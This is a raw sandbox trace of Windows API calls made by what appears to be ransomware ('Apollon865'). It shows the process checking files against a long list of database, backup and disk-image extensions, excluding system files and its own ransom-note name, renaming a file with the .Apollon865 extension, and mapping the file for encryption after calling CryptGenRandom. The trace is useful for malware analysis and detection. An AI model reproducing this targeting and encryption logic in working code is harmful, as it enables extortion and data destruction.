	[0080.725] lstrcmpiW (lpString1="ico", lpString2="pdb") returned -1
	[0080.725] lstrlenW (lpString="pdm") returned 3
	[0080.725] lstrcmpiW (lpString1="ico", lpString2="pdm") returned -1
	[0080.725] lstrlenW (lpString="pnz") returned 3
	[0080.725] lstrcmpiW (lpString1="ico", lpString2="pnz") returned -1
	[0080.725] lstrlenW (lpString="qry") returned 3
	[0080.725] lstrcmpiW (lpString1="ico", lpString2="qry") returned -1
	[0080.725] lstrlenW (lpString="qvd") returned 3
	[0080.725] lstrcmpiW (lpString1="ico", lpString2="qvd") returned -1
	[0080.725] lstrlenW (lpString="rbf") returned 3
	[0080.725] lstrcmpiW (lpString1="ico", lpString2="rbf") returned -1
	[0080.725] lstrlenW (lpString="rctd") returned 4
	[0080.725] lstrcmpiW (lpString1=".ico", lpString2="rctd") returned -1
	[0080.725] lstrlenW (lpString="rod") returned 3
	[0080.725] lstrcmpiW (lpString1="ico", lpString2="rod") returned -1
	[0080.725] lstrlenW (lpString="rodx") returned 4
	[0080.725] lstrcmpiW (lpString1=".ico", lpString2="rodx") returned -1
	[0080.725] lstrlenW (lpString="rpd") returned 3
	[0080.725] lstrcmpiW (lpString1="ico", lpString2="rpd") returned -1
	[0080.725] lstrlenW (lpString="rsd") returned 3
	[0080.725] lstrcmpiW (lpString1="ico", lpString2="rsd") returned -1
	[0080.725] lstrlenW (lpString="sas7bdat") returned 8
	[0080.725] lstrcmpiW (lpString1="rary.ico", lpString2="sas7bdat") returned -1
	[0080.725] lstrlenW (lpString="sbf") returned 3
	[0080.725] lstrcmpiW (lpString1="ico", lpString2="sbf") returned -1
	[0080.725] lstrlenW (lpString="scx") returned 3
	[0080.725] lstrcmpiW (lpString1="ico", lpString2="scx") returned -1
	[0080.725] lstrlenW (lpString="sdb") returned 3
	[0080.725] lstrcmpiW (lpString1="ico", lpString2="sdb") returned -1
	[0080.725] lstrlenW (lpString="sdc") returned 3
	[0080.725] lstrcmpiW (lpString1="ico", lpString2="sdc") returned -1
	[0080.725] lstrlenW (lpString="sdf") returned 3
	[0080.725] lstrcmpiW (lpString1="ico", lpString2="sdf") returned -1
	[0080.725] lstrlenW (lpString="sis") returned 3
	[0080.726] lstrcmpiW (lpString1="ico", lpString2="sis") returned -1
	[0080.726] lstrlenW (lpString="spq") returned 3
	[0080.726] lstrcmpiW (lpString1="ico", lpString2="spq") returned -1
	[0080.726] lstrlenW (lpString="te") returned 2
	[0080.726] lstrcmpiW (lpString1="co", lpString2="te") returned -1
	[0080.726] lstrlenW (lpString="teacher") returned 7
	[0080.726] lstrcmpiW (lpString1="ary.ico", lpString2="teacher") returned -1
	[0080.726] lstrlenW (lpString="tmd") returned 3
	[0080.726] lstrcmpiW (lpString1="ico", lpString2="tmd") returned -1
	[0080.726] lstrlenW (lpString="tps") returned 3
	[0080.726] lstrcmpiW (lpString1="ico", lpString2="tps") returned -1
	[0080.726] lstrlenW (lpString="trc") returned 3
	[0080.726] lstrcmpiW (lpString1="ico", lpString2="trc") returned -1
	[0080.726] lstrlenW (lpString="trc") returned 3
	[0080.726] lstrcmpiW (lpString1="ico", lpString2="trc") returned -1
	[0080.726] lstrlenW (lpString="trm") returned 3
	[0080.726] lstrcmpiW (lpString1="ico", lpString2="trm") returned -1
	[0080.726] lstrlenW (lpString="udb") returned 3
	[0080.726] lstrcmpiW (lpString1="ico", lpString2="udb") returned -1
	[0080.726] lstrlenW (lpString="udl") returned 3
	[0080.726] lstrcmpiW (lpString1="ico", lpString2="udl") returned -1
	[0080.726] lstrlenW (lpString="usr") returned 3
	[0080.726] lstrcmpiW (lpString1="ico", lpString2="usr") returned -1
	[0080.726] lstrlenW (lpString="v12") returned 3
	[0080.726] lstrcmpiW (lpString1="ico", lpString2="v12") returned -1
	[0080.726] lstrlenW (lpString="vis") returned 3
	[0080.726] lstrcmpiW (lpString1="ico", lpString2="vis") returned -1
	[0080.726] lstrlenW (lpString="vpd") returned 3
	[0080.726] lstrcmpiW (lpString1="ico", lpString2="vpd") returned -1
	[0080.726] lstrlenW (lpString="vvv") returned 3
	[0080.726] lstrcmpiW (lpString1="ico", lpString2="vvv") returned -1
	[0080.726] lstrlenW (lpString="wdb") returned 3
	[0080.726] lstrcmpiW (lpString1="ico", lpString2="wdb") returned -1
	[0080.726] lstrlenW (lpString="wmdb") returned 4
	[0080.726] lstrcmpiW (lpString1=".ico", lpString2="wmdb") returned -1
	[0080.726] lstrlenW (lpString="wrk") returned 3
	[0080.727] lstrcmpiW (lpString1="ico", lpString2="wrk") returned -1
	[0080.727] lstrlenW (lpString="xdb") returned 3
	[0080.727] lstrcmpiW (lpString1="ico", lpString2="xdb") returned -1
	[0080.727] lstrlenW (lpString="xld") returned 3
	[0080.727] lstrcmpiW (lpString1="ico", lpString2="xld") returned -1
	[0080.727] lstrlenW (lpString="xmlff") returned 5
	[0080.727] lstrcmpiW (lpString1="y.ico", lpString2="xmlff") returned 1
	[0080.727] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\AssetLibrary.ico.Apollon865") returned 63
	[0080.727] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\AssetLibrary.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\assetlibrary.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\AssetLibrary.ico.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\assetlibrary.ico.apollon865"), dwFlags=0x1) returned 1
	[0080.728] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\AssetLibrary.ico.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\assetlibrary.ico.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0080.729] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=5430) returned 1
	[0080.729] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0080.729] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0080.729] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0080.729] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0080.730] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0080.730] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0080.730] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1840, lpName=0x0) returned 0x15c
	[0080.732] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1840) returned 0x100000
	[0080.735] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0080.736] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0080.736] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0080.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0080.736] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0080.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0080.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0080.736] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0080.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0080.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0080.737] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0080.737] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0080.737] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0080.737] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0080.737] CloseHandle (hObject=0x15c) returned 1
	[0080.737] CloseHandle (hObject=0x9c) returned 1
	[0080.737] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0080.737] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0080.737] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0080.737] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabeeea00, ftCreationTime.dwHighDateTime=0x1c63848, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xabeeea00, ftLastWriteTime.dwHighDateTime=0x1c63848, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DocumentRepository.ico", cAlternateFileName="DOCUME~1.ICO")) returned 1
	[0080.737] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.737] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2="Apollon865.txt.exe") returned 1
	[0080.737] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2=".") returned 1
	[0080.737] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2="..") returned 1
	[0080.737] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2="windows") returned -1
	[0080.737] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2="bootmgr") returned 1
	[0080.737] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2="temp") returned -1
	[0080.737] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2="pagefile.sys") returned -1
	[0080.737] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2="boot") returned 1
	[0080.738] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2="ids.txt") returned -1
	[0080.738] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2="ntuser.dat") returned -1
	[0080.738] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2="perflogs") returned -1
	[0080.738] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2="MSBuild") returned -1
	[0080.738] lstrlenW (lpString="DocumentRepository.ico") returned 22
	[0080.738] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\AssetLibrary.ico") returned 52
	[0080.738] lstrcpyW (in: lpString1=0x119e650, lpString2="DocumentRepository.ico" | out: lpString1="DocumentRepository.ico") returned="DocumentRepository.ico"
	[0080.738] lstrlenW (lpString="DocumentRepository.ico") returned 22
	[0080.738] lstrlenW (lpString="Apollon865") returned 10
	[0080.738] lstrcmpiW (lpString1="sitory.ico", lpString2="Apollon865") returned 1
	[0080.738] lstrlenW (lpString=".dll") returned 4
	[0080.738] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2=".dll") returned 1
	[0080.738] lstrlenW (lpString=".lnk") returned 4
	[0080.738] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2=".lnk") returned 1
	[0080.738] lstrlenW (lpString=".ini") returned 4
	[0080.738] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2=".ini") returned 1
	[0080.738] lstrlenW (lpString=".sys") returned 4
	[0080.738] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2=".sys") returned 1
	[0080.738] lstrlenW (lpString="DocumentRepository.ico") returned 22
	[0080.738] lstrlenW (lpString="bak") returned 3
	[0080.738] lstrcmpiW (lpString1="ico", lpString2="bak") returned 1
	[0080.738] lstrlenW (lpString="ba_") returned 3
	[0080.738] lstrcmpiW (lpString1="ico", lpString2="ba_") returned 1
	[0080.738] lstrlenW (lpString="dbb") returned 3
	[0080.738] lstrcmpiW (lpString1="ico", lpString2="dbb") returned 1
	[0080.738] lstrlenW (lpString="vmdk") returned 4
	[0080.738] lstrcmpiW (lpString1=".ico", lpString2="vmdk") returned -1
	[0080.738] lstrlenW (lpString="rar") returned 3
	[0080.738] lstrcmpiW (lpString1="ico", lpString2="rar") returned -1
	[0080.738] lstrlenW (lpString="zip") returned 3
	[0080.738] lstrcmpiW (lpString1="ico", lpString2="zip") returned -1
	[0080.738] lstrlenW (lpString="tgz") returned 3
	[0080.738] lstrcmpiW (lpString1="ico", lpString2="tgz") returned -1
	[0080.738] lstrlenW (lpString="vbox") returned 4
	[0080.738] lstrcmpiW (lpString1=".ico", lpString2="vbox") returned -1
	[0080.739] lstrlenW (lpString="vdi") returned 3
	[0080.739] lstrcmpiW (lpString1="ico", lpString2="vdi") returned -1
	[0080.739] lstrlenW (lpString="vhd") returned 3
	[0080.739] lstrcmpiW (lpString1="ico", lpString2="vhd") returned -1
	[0080.739] lstrlenW (lpString="vhdx") returned 4
	[0080.739] lstrcmpiW (lpString1=".ico", lpString2="vhdx") returned -1
	[0080.739] lstrlenW (lpString="avhd") returned 4
	[0080.739] lstrcmpiW (lpString1=".ico", lpString2="avhd") returned -1
	[0080.739] lstrlenW (lpString="db") returned 2
	[0080.739] lstrcmpiW (lpString1="co", lpString2="db") returned -1
	[0080.739] lstrlenW (lpString="db2") returned 3
	[0080.739] lstrcmpiW (lpString1="ico", lpString2="db2") returned 1
	[0080.739] lstrlenW (lpString="db3") returned 3
	[0080.739] lstrcmpiW (lpString1="ico", lpString2="db3") returned 1
	[0080.739] lstrlenW (lpString="dbf") returned 3
	[0080.739] lstrcmpiW (lpString1="ico", lpString2="dbf") returned 1
	[0080.739] lstrlenW (lpString="mdf") returned 3
	[0080.739] lstrcmpiW (lpString1="ico", lpString2="mdf") returned -1
	[0080.739] lstrlenW (lpString="mdb") returned 3
	[0080.739] lstrcmpiW (lpString1="ico", lpString2="mdb") returned -1
	[0080.739] lstrlenW (lpString="sql") returned 3
	[0080.739] lstrcmpiW (lpString1="ico", lpString2="sql") returned -1
	[0080.739] lstrlenW (lpString="sqlite") returned 6
	[0080.739] lstrcmpiW (lpString1="ry.ico", lpString2="sqlite") returned -1
	[0080.739] lstrlenW (lpString="sqlite3") returned 7
	[0080.739] lstrcmpiW (lpString1="ory.ico", lpString2="sqlite3") returned -1
	[0080.739] lstrlenW (lpString="sqlitedb") returned 8
	[0080.739] lstrcmpiW (lpString1="tory.ico", lpString2="sqlitedb") returned 1
	[0080.739] lstrlenW (lpString="xml") returned 3
	[0080.739] lstrcmpiW (lpString1="ico", lpString2="xml") returned -1
	[0080.739] lstrlenW (lpString="$er") returned 3
	[0080.739] lstrcmpiW (lpString1="ico", lpString2="$er") returned 1
	[0080.739] lstrlenW (lpString="4dd") returned 3
	[0080.739] lstrcmpiW (lpString1="ico", lpString2="4dd") returned 1
	[0080.739] lstrlenW (lpString="4dl") returned 3
	[0080.739] lstrcmpiW (lpString1="ico", lpString2="4dl") returned 1
	[0080.740] lstrlenW (lpString="^^^") returned 3
	[0080.740] lstrcmpiW (lpString1="ico", lpString2="^^^") returned 1
	[0080.740] lstrlenW (lpString="abs") returned 3
	[0080.740] lstrcmpiW (lpString1="ico", lpString2="abs") returned 1
	[0080.740] lstrlenW (lpString="abx") returned 3
	[0080.740] lstrcmpiW (lpString1="ico", lpString2="abx") returned 1
	[0080.740] lstrlenW (lpString="accdb") returned 5
	[0080.740] lstrcmpiW (lpString1="y.ico", lpString2="accdb") returned 1
	[0080.740] lstrlenW (lpString="accdc") returned 5
	[0080.740] lstrcmpiW (lpString1="y.ico", lpString2="accdc") returned 1
	[0080.740] lstrlenW (lpString="accde") returned 5
	[0080.740] lstrcmpiW (lpString1="y.ico", lpString2="accde") returned 1
	[0080.740] lstrlenW (lpString="accdr") returned 5
	[0080.740] lstrcmpiW (lpString1="y.ico", lpString2="accdr") returned 1
	[0080.740] lstrlenW (lpString="accdt") returned 5
	[0080.740] lstrcmpiW (lpString1="y.ico", lpString2="accdt") returned 1
	[0080.740] lstrlenW (lpString="accdw") returned 5
	[0080.740] lstrcmpiW (lpString1="y.ico", lpString2="accdw") returned 1
	[0080.740] lstrlenW (lpString="accft") returned 5
	[0080.740] lstrcmpiW (lpString1="y.ico", lpString2="accft") returned 1
	[0080.740] lstrlenW (lpString="adb") returned 3
	[0080.740] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1
	[0080.740] lstrlenW (lpString="adb") returned 3
	[0080.740] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1
	[0080.740] lstrlenW (lpString="ade") returned 3
	[0080.740] lstrcmpiW (lpString1="ico", lpString2="ade") returned 1
	[0080.740] lstrlenW (lpString="adf") returned 3
	[0080.740] lstrcmpiW (lpString1="ico", lpString2="adf") returned 1
	[0080.740] lstrlenW (lpString="adn") returned 3
	[0080.740] lstrcmpiW (lpString1="ico", lpString2="adn") returned 1
	[0080.740] lstrlenW (lpString="adp") returned 3
	[0080.740] lstrcmpiW (lpString1="ico", lpString2="adp") returned 1
	[0080.740] lstrlenW (lpString="alf") returned 3
	[0080.740] lstrcmpiW (lpString1="ico", lpString2="alf") returned 1
	[0080.740] lstrlenW (lpString="ask") returned 3
	[0080.740] lstrcmpiW (lpString1="ico", lpString2="ask") returned 1
	[0080.741] lstrlenW (lpString="btr") returned 3
	[0080.741] lstrcmpiW (lpString1="ico", lpString2="btr") returned 1
	[0080.741] lstrlenW (lpString="cat") returned 3
	[0080.741] lstrcmpiW (lpString1="ico", lpString2="cat") returned 1
	[0080.741] lstrlenW (lpString="cdb") returned 3
	[0080.741] lstrcmpiW (lpString1="ico", lpString2="cdb") returned 1
	[0080.741] lstrlenW (lpString="ckp") returned 3
	[0080.741] lstrcmpiW (lpString1="ico", lpString2="ckp") returned 1
	[0080.741] lstrlenW (lpString="cma") returned 3
	[0080.741] lstrcmpiW (lpString1="ico", lpString2="cma") returned 1
	[0080.741] lstrlenW (lpString="cpd") returned 3
	[0080.741] lstrcmpiW (lpString1="ico", lpString2="cpd") returned 1
	[0080.741] lstrlenW (lpString="dacpac") returned 6
	[0080.741] lstrcmpiW (lpString1="ry.ico", lpString2="dacpac") returned 1
	[0080.741] lstrlenW (lpString="dad") returned 3
	[0080.741] lstrcmpiW (lpString1="ico", lpString2="dad") returned 1
	[0080.741] lstrlenW (lpString="dadiagrams") returned 10
	[0080.741] lstrcmpiW (lpString1="sitory.ico", lpString2="dadiagrams") returned 1
	[0080.741] lstrlenW (lpString="daschema") returned 8
	[0080.741] lstrcmpiW (lpString1="tory.ico", lpString2="daschema") returned 1
	[0080.741] lstrlenW (lpString="db-journal") returned 10
	[0080.741] lstrcmpiW (lpString1="sitory.ico", lpString2="db-journal") returned 1
	[0080.741] lstrlenW (lpString="db-shm") returned 6
	[0080.741] lstrcmpiW (lpString1="ry.ico", lpString2="db-shm") returned 1
	[0080.741] lstrlenW (lpString="db-wal") returned 6
	[0080.741] lstrcmpiW (lpString1="ry.ico", lpString2="db-wal") returned 1
	[0080.741] lstrlenW (lpString="dbc") returned 3
	[0080.741] lstrcmpiW (lpString1="ico", lpString2="dbc") returned 1
	[0080.741] lstrlenW (lpString="dbs") returned 3
	[0080.741] lstrcmpiW (lpString1="ico", lpString2="dbs") returned 1
	[0080.741] lstrlenW (lpString="dbt") returned 3
	[0080.741] lstrcmpiW (lpString1="ico", lpString2="dbt") returned 1
	[0080.741] lstrlenW (lpString="dbv") returned 3
	[0080.741] lstrcmpiW (lpString1="ico", lpString2="dbv") returned 1
	[0080.742] lstrlenW (lpString="dbx") returned 3
	[0080.742] lstrcmpiW (lpString1="ico", lpString2="dbx") returned 1
	[0080.742] lstrlenW (lpString="dcb") returned 3
	[0080.742] lstrcmpiW (lpString1="ico", lpString2="dcb") returned 1
	[0080.742] lstrlenW (lpString="dct") returned 3
	[0080.742] lstrcmpiW (lpString1="ico", lpString2="dct") returned 1
	[0080.742] lstrlenW (lpString="dcx") returned 3
	[0080.742] lstrcmpiW (lpString1="ico", lpString2="dcx") returned 1
	[0080.742] lstrlenW (lpString="ddl") returned 3
	[0080.742] lstrcmpiW (lpString1="ico", lpString2="ddl") returned 1
	[0080.742] lstrlenW (lpString="dlis") returned 4
	[0080.742] lstrcmpiW (lpString1=".ico", lpString2="dlis") returned -1
	[0080.742] lstrlenW (lpString="dp1") returned 3
	[0080.742] lstrcmpiW (lpString1="ico", lpString2="dp1") returned 1
	[0080.742] lstrlenW (lpString="dqy") returned 3
	[0080.742] lstrcmpiW (lpString1="ico", lpString2="dqy") returned 1
	[0080.742] lstrlenW (lpString="dsk") returned 3
	[0080.742] lstrcmpiW (lpString1="ico", lpString2="dsk") returned 1
	[0080.742] lstrlenW (lpString="dsn") returned 3
	[0080.742] lstrcmpiW (lpString1="ico", lpString2="dsn") returned 1
	[0080.742] lstrlenW (lpString="dtsx") returned 4
	[0080.742] lstrcmpiW (lpString1=".ico", lpString2="dtsx") returned -1
	[0080.742] lstrlenW (lpString="dxl") returned 3
	[0080.742] lstrcmpiW (lpString1="ico", lpString2="dxl") returned 1
	[0080.742] lstrlenW (lpString="eco") returned 3
	[0080.742] lstrcmpiW (lpString1="ico", lpString2="eco") returned 1
	[0080.742] lstrlenW (lpString="ecx") returned 3
	[0080.742] lstrcmpiW (lpString1="ico", lpString2="ecx") returned 1
	[0080.742] lstrlenW (lpString="edb") returned 3
	[0080.742] lstrcmpiW (lpString1="ico", lpString2="edb") returned 1
	[0080.742] lstrlenW (lpString="epim") returned 4
	[0080.742] lstrcmpiW (lpString1=".ico", lpString2="epim") returned -1
	[0080.742] lstrlenW (lpString="fcd") returned 3
	[0080.742] lstrcmpiW (lpString1="ico", lpString2="fcd") returned 1
	[0080.742] lstrlenW (lpString="fdb") returned 3
	[0080.742] lstrcmpiW (lpString1="ico", lpString2="fdb") returned 1
	[0080.743] lstrlenW (lpString="fic") returned 3
	[0080.743] lstrcmpiW (lpString1="ico", lpString2="fic") returned 1
	[0080.743] lstrlenW (lpString="flexolibrary") returned 12
	[0080.743] lstrcmpiW (lpString1="pository.ico", lpString2="flexolibrary") returned 1
	[0080.743] lstrlenW (lpString="fm5") returned 3
	[0080.743] lstrcmpiW (lpString1="ico", lpString2="fm5") returned 1
	[0080.743] lstrlenW (lpString="fmp") returned 3
	[0080.743] lstrcmpiW (lpString1="ico", lpString2="fmp") returned 1
	[0080.743] lstrlenW (lpString="fmp12") returned 5
	[0080.743] lstrcmpiW (lpString1="y.ico", lpString2="fmp12") returned 1
	[0080.743] lstrlenW (lpString="fmpsl") returned 5
	[0080.743] lstrcmpiW (lpString1="y.ico", lpString2="fmpsl") returned 1
	[0080.743] lstrlenW (lpString="fol") returned 3
	[0080.743] lstrcmpiW (lpString1="ico", lpString2="fol") returned 1
	[0080.743] lstrlenW (lpString="fp3") returned 3
	[0080.743] lstrcmpiW (lpString1="ico", lpString2="fp3") returned 1
	[0080.743] lstrlenW (lpString="fp4") returned 3
	[0080.743] lstrcmpiW (lpString1="ico", lpString2="fp4") returned 1
	[0080.743] lstrlenW (lpString="fp5") returned 3
	[0080.743] lstrcmpiW (lpString1="ico", lpString2="fp5") returned 1
	[0080.743] lstrlenW (lpString="fp7") returned 3
	[0080.743] lstrcmpiW (lpString1="ico", lpString2="fp7") returned 1
	[0080.743] lstrlenW (lpString="fpt") returned 3
	[0080.743] lstrcmpiW (lpString1="ico", lpString2="fpt") returned 1
	[0080.743] lstrlenW (lpString="frm") returned 3
	[0080.743] lstrcmpiW (lpString1="ico", lpString2="frm") returned 1
	[0080.743] lstrlenW (lpString="gdb") returned 3
	[0080.743] lstrcmpiW (lpString1="ico", lpString2="gdb") returned 1
	[0080.743] lstrlenW (lpString="gdb") returned 3
	[0080.743] lstrcmpiW (lpString1="ico", lpString2="gdb") returned 1
	[0080.743] lstrlenW (lpString="grdb") returned 4
	[0080.743] lstrcmpiW (lpString1=".ico", lpString2="grdb") returned -1
	[0080.743] lstrlenW (lpString="gwi") returned 3
	[0080.743] lstrcmpiW (lpString1="ico", lpString2="gwi") returned 1
	[0080.743] lstrlenW (lpString="hdb") returned 3
	[0080.743] lstrcmpiW (lpString1="ico", lpString2="hdb") returned 1
	[0080.743] lstrlenW (lpString="his") returned 3
	[0080.744] lstrcmpiW (lpString1="ico", lpString2="his") returned 1
	[0080.744] lstrlenW (lpString="ib") returned 2
	[0080.744] lstrcmpiW (lpString1="co", lpString2="ib") returned -1
	[0080.744] lstrlenW (lpString="idb") returned 3
	[0080.744] lstrcmpiW (lpString1="ico", lpString2="idb") returned -1
	[0080.744] lstrlenW (lpString="ihx") returned 3
	[0080.744] lstrcmpiW (lpString1="ico", lpString2="ihx") returned -1
	[0080.744] lstrlenW (lpString="itdb") returned 4
	[0080.744] lstrcmpiW (lpString1=".ico", lpString2="itdb") returned -1
	[0080.744] lstrlenW (lpString="itw") returned 3
	[0080.744] lstrcmpiW (lpString1="ico", lpString2="itw") returned -1
	[0080.744] lstrlenW (lpString="jet") returned 3
	[0080.744] lstrcmpiW (lpString1="ico", lpString2="jet") returned -1
	[0080.744] lstrlenW (lpString="jtx") returned 3
	[0080.744] lstrcmpiW (lpString1="ico", lpString2="jtx") returned -1
	[0080.744] lstrlenW (lpString="kdb") returned 3
	[0080.744] lstrcmpiW (lpString1="ico", lpString2="kdb") returned -1
	[0080.744] lstrlenW (lpString="kexi") returned 4
	[0080.744] lstrcmpiW (lpString1=".ico", lpString2="kexi") returned -1
	[0080.744] lstrlenW (lpString="kexic") returned 5
	[0080.744] lstrcmpiW (lpString1="y.ico", lpString2="kexic") returned 1
	[0080.744] lstrlenW (lpString="kexis") returned 5
	[0080.744] lstrcmpiW (lpString1="y.ico", lpString2="kexis") returned 1
	[0080.744] lstrlenW (lpString="lgc") returned 3
	[0080.744] lstrcmpiW (lpString1="ico", lpString2="lgc") returned -1
	[0080.744] lstrlenW (lpString="lwx") returned 3
	[0080.744] lstrcmpiW (lpString1="ico", lpString2="lwx") returned -1
	[0080.744] lstrlenW (lpString="maf") returned 3
	[0080.744] lstrcmpiW (lpString1="ico", lpString2="maf") returned -1
	[0080.744] lstrlenW (lpString="maq") returned 3
	[0080.744] lstrcmpiW (lpString1="ico", lpString2="maq") returned -1
	[0080.744] lstrlenW (lpString="mar") returned 3
	[0080.744] lstrcmpiW (lpString1="ico", lpString2="mar") returned -1
	[0080.744] lstrlenW (lpString="marshal") returned 7
	[0080.744] lstrcmpiW (lpString1="ory.ico", lpString2="marshal") returned 1
	[0080.744] lstrlenW (lpString="mas") returned 3
	[0080.745] lstrcmpiW (lpString1="ico", lpString2="mas") returned -1
	[0080.745] lstrlenW (lpString="mav") returned 3
	[0080.745] lstrcmpiW (lpString1="ico", lpString2="mav") returned -1
	[0080.745] lstrlenW (lpString="maw") returned 3
	[0080.745] lstrcmpiW (lpString1="ico", lpString2="maw") returned -1
	[0080.745] lstrlenW (lpString="mdbhtml") returned 7
	[0080.745] lstrcmpiW (lpString1="ory.ico", lpString2="mdbhtml") returned 1
	[0080.745] lstrlenW (lpString="mdn") returned 3
	[0080.745] lstrcmpiW (lpString1="ico", lpString2="mdn") returned -1
	[0080.745] lstrlenW (lpString="mdt") returned 3
	[0080.745] lstrcmpiW (lpString1="ico", lpString2="mdt") returned -1
	[0080.745] lstrlenW (lpString="mfd") returned 3
	[0080.745] lstrcmpiW (lpString1="ico", lpString2="mfd") returned -1
	[0080.745] lstrlenW (lpString="mpd") returned 3
	[0080.745] lstrcmpiW (lpString1="ico", lpString2="mpd") returned -1
	[0080.745] lstrlenW (lpString="mrg") returned 3
	[0080.745] lstrcmpiW (lpString1="ico", lpString2="mrg") returned -1
	[0080.745] lstrlenW (lpString="mud") returned 3
	[0080.745] lstrcmpiW (lpString1="ico", lpString2="mud") returned -1
	[0080.745] lstrlenW (lpString="mwb") returned 3
	[0080.745] lstrcmpiW (lpString1="ico", lpString2="mwb") returned -1
	[0080.745] lstrlenW (lpString="myd") returned 3
	[0080.745] lstrcmpiW (lpString1="ico", lpString2="myd") returned -1
	[0080.745] lstrlenW (lpString="ndf") returned 3
	[0080.745] lstrcmpiW (lpString1="ico", lpString2="ndf") returned -1
	[0080.745] lstrlenW (lpString="nnt") returned 3
	[0080.745] lstrcmpiW (lpString1="ico", lpString2="nnt") returned -1
	[0080.745] lstrlenW (lpString="nrmlib") returned 6
	[0080.745] lstrcmpiW (lpString1="ry.ico", lpString2="nrmlib") returned 1
	[0080.745] lstrlenW (lpString="ns2") returned 3
	[0080.745] lstrcmpiW (lpString1="ico", lpString2="ns2") returned -1
	[0080.745] lstrlenW (lpString="ns3") returned 3
	[0080.745] lstrcmpiW (lpString1="ico", lpString2="ns3") returned -1
	[0080.745] lstrlenW (lpString="ns4") returned 3
	[0080.745] lstrcmpiW (lpString1="ico", lpString2="ns4") returned -1
